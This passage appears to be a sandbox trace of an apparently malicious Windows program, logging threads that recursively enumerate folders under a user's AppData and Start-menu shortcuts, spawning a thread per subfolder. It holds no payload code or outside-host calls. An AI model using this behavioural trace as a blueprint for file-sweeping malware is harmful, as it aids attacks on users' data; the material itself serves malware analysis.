(_String1="Windows Anytime Upgrade.lnk", _String2=".") returned 1 [0141.305] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2="..") returned 1 [0141.305] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0141.306] wcscmp (_String1="Windows DVD Maker.lnk", _String2=".") returned 1 [0141.306] wcscmp (_String1="Windows DVD Maker.lnk", _String2="..") returned 1 [0141.306] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0141.306] wcscmp (_String1="Windows Fax and Scan.lnk", _String2=".") returned 1 [0141.306] wcscmp (_String1="Windows Fax and Scan.lnk", _String2="..") returned 1 [0141.306] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0141.306] wcscmp (_String1="Windows Media Player.lnk", _String2=".") returned 1 [0141.306] wcscmp (_String1="Windows Media Player.lnk", _String2="..") returned 1 [0141.306] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0141.306] wcscmp (_String1="XPS Viewer.lnk", _String2=".") returned 1 [0141.306] wcscmp (_String1="XPS Viewer.lnk", _String2="..") returned 1 [0141.306] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0141.306] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0141.306] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9200a0) returned 1 [0141.306] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0141.306] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e88f0) returned 1 Thread: id = 1812 os_tid = 0x9f0 [0140.428] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0db8 [0140.428] wcscpy (in: _Dest=0x8f0db8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0140.428] wcscat (in: _Dest=0x8f0db8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0140.428] wcscat (in: _Dest=0x8f0db8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*" [0140.428] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92aef8 [0140.428] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f30 [0142.257] wcscmp (_String1=".", _String2=".") returned 0 [0142.257] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.257] wcscmp (_String1="..", _String2=".") returned 1 [0142.257] wcscmp (_String1="..", _String2="..") returned 0 [0142.257] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0142.257] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0142.257] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0142.257] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99d708 [0142.257] wcscpy (in: _Dest=0x99d708, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0142.257] wcscat (in: _Dest=0x99d708, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0142.257] wcscat (in: _Dest=0x99d708, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0145.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99d708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0145.384] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0145.384] wcscmp (_String1="Color", _String2=".") returned 1 [0145.384] wcscmp (_String1="Color", _String2="..") returned 1 [0145.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9726e0 [0145.384] wcscpy (in: _Dest=0x9726e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0145.384] wcscat (in: _Dest=0x9726e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0145.384] wcscat (in: _Dest=0x9726e0, _Source="Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0145.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9726e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0 [0145.385] FindNextFileW (in: hFindFile=0x941f30, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0145.385] FindClose (in: hFindFile=0x941f30 | out: hFindFile=0x941f30) returned 1 [0145.385] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92aef8) returned 1 [0145.385] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0db8) returned 1 [0145.385] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1138) returned 1 Thread: id = 1813 os_tid = 0x9f4 [0140.429] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7130 [0140.429] wcscpy (in: _Dest=0x8f7130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" [0140.429] wcscat (in: _Dest=0x8f7130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\" [0140.429] wcscat (in: _Dest=0x8f7130, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*" [0140.429] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b160 [0140.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x92b160 | out: lpFindFileData=0x92b160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b160) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7130) returned 1 [0140.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7350) returned 1 Thread: id = 1814 os_tid = 0x9f8 [0140.430] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0e98 [0140.430] wcscpy (in: _Dest=0x8f0e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0140.430] wcscat (in: _Dest=0x8f0e98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\" [0140.430] wcscat (in: _Dest=0x8f0e98, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*" [0140.430] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b160 [0140.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x92b160 | out: lpFindFileData=0x92b160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0142.847] wcscmp (_String1=".", _String2=".") returned 0 [0142.847] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92b160 | out: lpFindFileData=0x92b160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.847] wcscmp (_String1="..", _String2=".") returned 1 [0142.847] wcscmp (_String1="..", _String2="..") returned 0 [0142.847] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92b160 | out: lpFindFileData=0x92b160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0142.847] wcscmp (_String1="2.0", _String2=".") returned 1 [0142.847] wcscmp (_String1="2.0", _String2="..") returned 1 [0142.847] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8ad0 [0142.847] wcscpy (in: _Dest=0x8e8ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0142.847] wcscat (in: _Dest=0x8e8ad0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\" [0142.847] wcscat (in: _Dest=0x8e8ad0, _Source="2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0151.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e88f0 [0151.293] wcscpy (in: _Dest=0x8e88f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0151.293] wcscat (in: _Dest=0x8e88f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0151.293] wcscat (in: _Dest=0x8e88f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*" [0151.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd1f0 [0151.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9427b0 [0151.293] wcscmp (_String1=".", _String2=".") returned 0 [0151.293] FindNextFileW (in: hFindFile=0x9427b0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.294] wcscmp (_String1="..", _String2=".") returned 1 [0151.294] wcscmp (_String1="..", _String2="..") returned 0 [0151.294] FindNextFileW (in: hFindFile=0x9427b0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0151.294] wcscmp (_String1="Data", _String2=".") returned 1 [0151.294] wcscmp (_String1="Data", _String2="..") returned 1 [0151.294] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0100 [0151.294] wcscpy (in: _Dest=0x8d0100, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0151.294] wcscat (in: _Dest=0x8d0100, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0151.294] wcscat (in: _Dest=0x8d0100, _Source="Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0151.294] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8cff80 [0151.294] wcscpy (in: _Dest=0x8cff80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0151.294] wcscat (in: _Dest=0x8cff80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\" [0151.294] wcscat (in: _Dest=0x8cff80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*" [0151.294] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9beed0 [0151.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9428f0 [0151.298] wcscmp (_String1=".", _String2=".") returned 0 [0151.298] FindNextFileW (in: hFindFile=0x9428f0, lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.299] wcscmp (_String1="..", _String2=".") returned 1 [0151.299] wcscmp (_String1="..", _String2="..") returned 0 [0151.299] FindNextFileW (in: hFindFile=0x9428f0, lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0151.299] wcscmp (_String1="CJW3O3KP.BX7", _String2=".") returned 1 [0151.299] wcscmp (_String1="CJW3O3KP.BX7", _String2="..") returned 1 [0151.299] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x940bb8 [0151.299] wcscpy (in: _Dest=0x940bb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0151.299] wcscat (in: _Dest=0x940bb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\" [0151.299] wcscat (in: _Dest=0x940bb8, _Source="CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0151.299] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9ad668 [0151.299] wcscpy (in: _Dest=0x9ad668, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0151.299] wcscat (in: _Dest=0x9ad668, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\" [0151.299] wcscat (in: _Dest=0x9ad668, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*" [0151.299] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9be060 [0151.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942230 [0151.299] wcscmp (_String1=".", _String2=".") returned 0 [0151.299] 